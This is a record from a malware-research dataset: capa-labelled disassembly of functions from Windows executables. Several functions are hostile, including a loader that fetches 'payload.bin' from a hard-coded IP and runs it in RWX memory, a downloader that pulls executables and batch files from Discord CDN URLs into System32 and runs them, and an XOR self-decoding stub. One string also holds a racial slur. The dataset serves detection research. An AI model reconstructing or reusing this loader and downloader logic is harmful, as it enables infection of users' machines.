joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d5bf0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x140117fa9], 0
mov rbp, rcx
mov r12, rdx
mov rdi, r8
je 0x1400d5c78
lea rdx, [0x140100892]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400d5ce0
mov rbx, qword [0x140117e60]
jmp 0x1400d5c35
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x1400d5c30
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, rbp
mov rdx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.1400c4da0
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x140117e60], rax
mov ebx, dword [rax]
mov qword [0x140117e60], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x140117e60], rdx
call fcn.1400d4d20
cmp eax, ebx
jne 0x1400d5d48
mov byte [0x140117fa9], 1
jmp 0x1400d5c0c
cmp byte [0x140117fa8], 0
jne 0x1400d5c23
mov rbx, qword [sym.imp.python311.dll_PyDict_New]
call rbx
mov qword [0x140118908], rax
call rbx
mov qword [0x140118900], rax
call rbx
mov qword [0x1401188f8], rax
call rbx
mov qword [0x1401188f0], rax
call rbx
mov qword [0x1401188e8], rax
call rbx
mov qword [0x1401188e0], rax
call rbx
mov qword [0x1401188d8], rax
call rbx
mov byte [0x140117fa8], 1
mov qword [0x1401188d0], rax
jmp 0x1400d5c23
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1400df3e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400f0b60
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400f0b60
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x1400e00b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140118dc8]
test eax, eax
je 0x1400e014a
lea rax, [0x140118da0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140118dd0]
mov qword [rbp - 8], rax
jmp 0x1400e012e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400e0122
cmp qword [rbp - 0x10], 0
je 0x1400e0122
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400e00e8
lea rax, [0x140118da0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400e014b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400e0250
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400e0278
mov eax, 0
jmp 0x1400e02c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400e02a1
mov eax, 0
jmp 0x1400e02c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400e02c1
mov eax, 0
jmp 0x1400e02c6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400e02cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400e034a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400e0341
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400e0341
mov rax, qword [rbp - 8]
jmp 0x1400e035f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400e0314
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1401486e0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401486ed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401486fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401486e5
lea eax, [rcx + 1]
jmp 0x14014870b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14014871e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140148704
sub eax, 3
jb 0x14014873e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14014878d
sar eax, 1
movsxd rbp, eax
jb 0x140148774
jmp 0x14014874c
add ebx, ebx
jne 0x14014874a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140148774
inc ecx
add ebx, ebx
jne 0x14014875a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140148774
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14014876d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14014875c
add ecx, 2
jmp 0x140148779
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401486a2
jmp 0x1401486ed
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x51800
mov dl, 9
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401487d9
cmp rsi, rcx
jae 0x1401487e1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401487c0
cmp al, 0x8f
ja 0x1401487c0
cmp byte [rsi - 2], 0xf
je 0x1401487c6
sub al, 0xe8
cmp al, 1
ja 0x1401487aa
cmp rsi, rcx
jae 0x1401487e1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401487b0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401487e1
lodsb al, byte [rsi]
jmp 0x1401487c0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x13b000]
mov eax, dword [rdi]
or eax, eax
je 0x14014884a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x149190]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401487ee
jns 0x140148823
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14014882d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140148844
mov qword [rbx], rax
add rbx, 8
jmp 0x14014880e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401488a2
sub rsp, 0xffffffffffffff80
jmp 0x140014734
Function at 0x1400f7a60
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400f7a6d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400f7a7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400f7a65
lea eax, [rcx + 1]
jmp 0x1400f7a8b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400f7a9e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400f7a84
sub eax, 3
jb 0x1400f7abe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400f7b0d
sar eax, 1
movsxd rbp, eax
jb 0x1400f7af4
jmp 0x1400f7acc
add ebx, ebx
jne 0x1400f7aca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400f7af4
inc ecx
add ebx, ebx
jne 0x1400f7ada
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400f7af4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400f7aed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400f7adc
add ecx, 2
jmp 0x1400f7af9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400f7a22
jmp 0x1400f7a6d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2bc00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400f7b59
cmp rsi, rcx
jae 0x1400f7b61
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400f7b40
cmp al, 0x8f
ja 0x1400f7b40
cmp byte [rsi - 2], 0xf
je 0x1400f7b46
sub al, 0xe8
cmp al, 1
ja 0x1400f7b2a
cmp rsi, rcx
jae 0x1400f7b61
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400f7b30
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400f7b61
lodsb al, byte [rsi]
jmp 0x1400f7b40
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xf5000]
mov eax, dword [rdi]
or eax, eax
je 0x1400f7bca
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x107ab8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400f7b6e
jns 0x1400f7ba3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400f7bad
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400f7bc4
mov qword [rbx], rax
add rbx, 8
jmp 0x1400f7b8e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400f7c04
cmp al, 0xef
ja 0x1400f7bf6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400f7bd6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400f7be5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400f7c58
sub rsp, 0xffffffffffffff80
jmp 0x140009a10
Function at 0x140001950
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx]
call fcn.140001340
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001984
xor eax, eax
jmp 0x140001a6e
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.112.213.116.183
lea rcx, [rsp + 0x58]
call fcn.140001460
lea rdi, [rsp + 0x68]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x48]
lea rsi, [rsp + 0x68]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x28]
lea rsi, [rsp + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x28], 0
je 0x140001a6c
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001a4d
mov rcx, qword [rsp + 0x38]
add rcx, 0x1000
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x38]
add rdi, 0x1000
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.MSVCR90.dll_free]
mov rax, qword [rsp + 0x38]
add rax, 0x1000
call rax
jmp 0x140001a6c
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x14000307b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140006020]
jne 0x140002c5a
rol rcx, 0x10
test cx, 0xffff
jne 0x140002c56
repz ret
ror rcx, 0x10
jmp 0x140002fd4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400061c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400062b8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140003059
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400061c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000307b
mov rax, qword [rsp + 0x88]
mov qword [0x1400062b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140006258], rax
mov rax, qword [0x1400062b8]
mov qword [0x140006130], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140006240], rax
mov dword [0x140006120], 0xc0000409
mov dword [0x140006124], 1
mov rax, qword [0x140006020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140006028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400061b8], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400042d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400061b8], 0
jne 0x140003102
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140f7057c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f70586
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f705af
pop rbp
sub rbp, 0x33
sub rbp, 0xf7057c
sub rsp, 0x20
jmp 0x140f705ce
mov rax, 0xf7057c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffd40a879f
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f705ed
jmp 0x140f70604
xlatb
invalid
Function at 0x14001105a
Capabilities:
Terminate process

Disassembly:
jmp 0x140018fe0
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a040]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14003013e]
call fcn.140011744
mov byte [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x48]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140019085
mov dword [rbp + 0x84], 4
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x64]
mov edx, 0x14
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140019085
mov eax, dword [rbp + 0x64]
mov dword [rbp + 0x24], eax
cmp qword [rbp + 0x48], 0
je 0x140019096
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x24], 0
je 0x1400190a5
mov byte [rbp + 0x174], 1
jmp 0x1400190ac
mov byte [rbp + 0x174], 0
movzx eax, byte [rbp + 0x174]
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
test eax, eax
jne 0x1400190e8
xor r9d, r9d
lea r8, str.XkdKLEQsHA9tUbzA
lea rdx, str.run_as_admin_nigga.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 0xa4], eax
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rcx, [rbp - 0x30]
lea rdx, [0x140024900]
call fcn.140011618
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.14001137a
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret

Function at 0x140011406
Capabilities:
Terminate process

Disassembly:
jmp 0x14001c2f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400114dd
Capabilities:
Enumerate processes
Execute command

Disassembly:
jmp 0x140019580
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a040]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x14003013e]
call fcn.140011744
call fcn.1400117b2
mov dword [rbp + 0x10], 0x130
xor edx, edx
mov ecx, 2
call fcn.14001135c
mov qword [rbp + 0x158], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x158]
call fcn.140011609
cmp eax, 1
jne 0x140019675
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x158]
call fcn.14001175d
cmp eax, 1
jne 0x140019675
lea rdx, str.EpicGamesLauncher.exe
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
jne 0x140019673
mov r8d, dword [rbp + 0x18]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x178], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.TASKKILL__F__IM_EpicGamesLauncher.exe__NUL_2__1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._n______Closed_Epic_Games_n
call fcn.14001180c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400195f5
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x20]
lea rdx, [0x140024490]
call fcn.140011618
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.14001137a
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret
Function at 0x14001150a
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001d640
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001d660
xor al, al
jmp 0x14001d6e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001d673
xor al, al
jmp 0x14001d6e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001d69d
xor al, al
jmp 0x14001d6e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001d6b1
xor al, al
jmp 0x14001d6e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001d6c3
xor al, al
jmp 0x14001d6e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001d6df
xor al, al
jmp 0x14001d6e1
mov al, 1
add rsp, 0x38
ret

Function at 0x140011555
Capabilities:
Download url
Execute command
Receive data

Disassembly:
jmp 0x140019160
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a040]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x14003013e]
call fcn.140011744
lea rax, str.https:__cdn.discordapp.com_attachments_955179230923206656_964816674404573204_AppleCleaner.exe
mov qword [rbp + 0x28], rax
lea rax, str.C:WindowsSystem32_apple.exe
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call fcn.14001119f
mov dword [rbp + 4], eax
lea rax, str.https:__cdn.discordapp.com_attachments_940653482669666384_957027474305351801_mac.bat
mov qword [rbp + 0x88], rax
lea rax, str.C:WindowsSystem32mac.bat
mov qword [rbp + 0xa8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x88]
xor ecx, ecx
call fcn.14001119f
mov dword [rbp + 0x64], eax
lea rax, str.https:__cdn.discordapp.com_attachments_940653482669666384_957308827018084382_Deep.bat
mov qword [rbp + 0xe8], rax
lea rax, str.C:WindowsSystem32deep.bat
mov qword [rbp + 0x108], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x108]
mov rdx, qword [rbp + 0xe8]
xor ecx, ecx
call fcn.14001119f
mov dword [rbp + 0xc4], eax
mov dword [rbp + 0x130], 0x68
lea rax, [rbp + 0x138]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rbp + 0x130], 0x68
mov dword [rbp + 0x16c], 1
xor eax, eax
mov word [rbp + 0x170], ax
lea rcx, str.C:WindowsSystem32_apple.exe
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32deep.bat
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32mac.bat
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp - 0x30]
lea rdx, [0x140024a90]
call fcn.140011618
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.14001137a
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret